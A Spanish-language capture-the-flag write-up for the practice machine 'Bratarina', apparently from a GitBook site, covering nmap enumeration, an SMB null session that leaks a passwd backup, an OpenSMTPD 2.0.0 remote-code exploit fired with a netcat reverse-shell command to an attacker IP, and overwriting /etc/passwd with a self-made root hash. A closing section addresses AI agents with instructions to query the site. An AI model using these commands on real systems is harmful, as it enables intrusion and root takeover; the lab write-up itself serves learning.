# MAQUINA BRATARINA (SMB null session + RCE 'OPENSMTPD 2.0.0') + (MODIFICACION passwd 'agregar password' + Subscribir archivo etc passwd)

Enumere los puertos abiertos:

```
nmap -p- --open -sS --min-rate 2000 -vvv -n -Pn 192.168.104.71 -oG Basicscan.txt
```

![](/files/qrIPHHym7m4vG3l8fnWa)

Luego ejecute unos script básicos de reconocimiento para determinar que servicios corren en estos puertos y sus posibles versiones.

```
nmap -p22,25,80,445 -sCV 192.168.104.71 -oN Fullnscan.txt
```

![](/files/bMCFOehOIf4dPG9r5IIk)

Con el siguiente comando ejecute unos scripts para verificar si los servicios son vulnerables.

```
nmap -p22,25,80,445 --script=vuln 192.168.104.71 -oN Vulnscan.txt
```

![](/files/Dk0szYCmyL6WCrj2tldN)

Me adentre al servidor web para realizar un reconocimiento.

![](/files/w0r9hWD7Ptx8zz6IVUEp)

![](/files/nFExyRYNjXYihm8xCbOM)

Ingrese a cada apartado y no encontré nada.

Enumere el puerto smtp que corre por el puerto 25 utilizando el siguiente comando.

```
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011
```

![](/files/Pb0hg5BUUGDaGEQu7eN1)

Encontré la versión del servicio smtp OPENSMTPD 2.0.0 esto me lo mostro tanto la enumeración con script de smpt como los script básicos como también un usuario "root"

Busque si existen exploits para esta versión del OPENSMTDP y encontré varios.

![](/files/PQ6mWr0EbNkLg6nQGfy3)

Luego antes de realizar la explotacion verifique el puerto 445 samba.

Para enumerar los archivos compartidos si es que hay, utilice enum4linux y smbclient.

```
enum4linux -a 192.168.109.71
```

![](/files/SaSlTjMVEQoHruOMhLBs)

```
smbclient -N -L 192.168.104.71
```

![](/files/5xkZn71fXwsR9af46pjy)

Con estas herramientas a través de una null sesión observe el contenido del samba encontrando una carpeta llamada backups.

Utilice el smbclient para ver el contenido y descargarlo.

```
smbclient //192.168.104.71/backups -N
    get passwd.bak
```

![](/files/15BkCq15CDoQbEVBumM8)

![](/files/OvcZN7sprQOWiFacyOcX)

El archivo que encontré son los mismos de /etc/passwd. Vuelvo a los exploit y utilizo el exploit : 47984 (rce)

Este exploit requiere que le coloque la ip victima, el puerto y un comando.

![](/files/HeGYxlJLxDnI30ueheNv)

Con el siguiente comando voy a realizar una revershell.

![](/files/7MBMMtHZRjUL5p9kHkFd)

busybox nc 192.168.45.233 80 -e sh # revershell

En otra terminal me puse en escucha en el puerto que seleccione en la revershell y luego ejecuto el exploit.

![](/files/XWwb2cS2zBw5ALyBKXjv)

Logre acceder a la maquina como usuario root.

## MODO 2

Como tengo en mi posesión el archivo passwd lo modifique, esto con fin de agregarle una contraseña al usuario root con una que yo logre crear.

![](/files/761yX7NyG8ytbTtMOcWU)

El primer que voy a realizar es crear una contraseña y hashearla.

![](/files/2ok4IcIXJ0zdcWLQN7sa)

```
openssl passwd -6 -salt my_salt password  # passwd es el archivo # password es la contraseña
```

Segundo agregue el hash obtenido al usuario root, para ello le quito la "x"

![](/files/BIYUFbBdGHoxTdJQ6m0i)

En tercer lugar aproveche que el exploit puede ejecutar comando, subir el archivo passwd y con el comando -O sobrescribí el archivo de /etc/passwd por "MI PASSWD QUE CONTIENE MI CONTRASEÑA"

![](/files/B6TdZ17TXdNOJ7hTLr77)

![](/files/0tLOqA1Vu8oXMfD9RLst)

Por ultimo a través del ssh logre acceder a la maquina proporcionándole mi contraseña.

![](/files/xMBGpneGDVa8HCFPoEaE)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://1gnotus.gitbook.io/ignotus_pwn/proving-ground-practice-and-play/writeup/maquina-bratarina-smb-null-session-+-rce-opensmtpd-2.0.0-+-modificacion-passwd-agregar-password-+-su.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
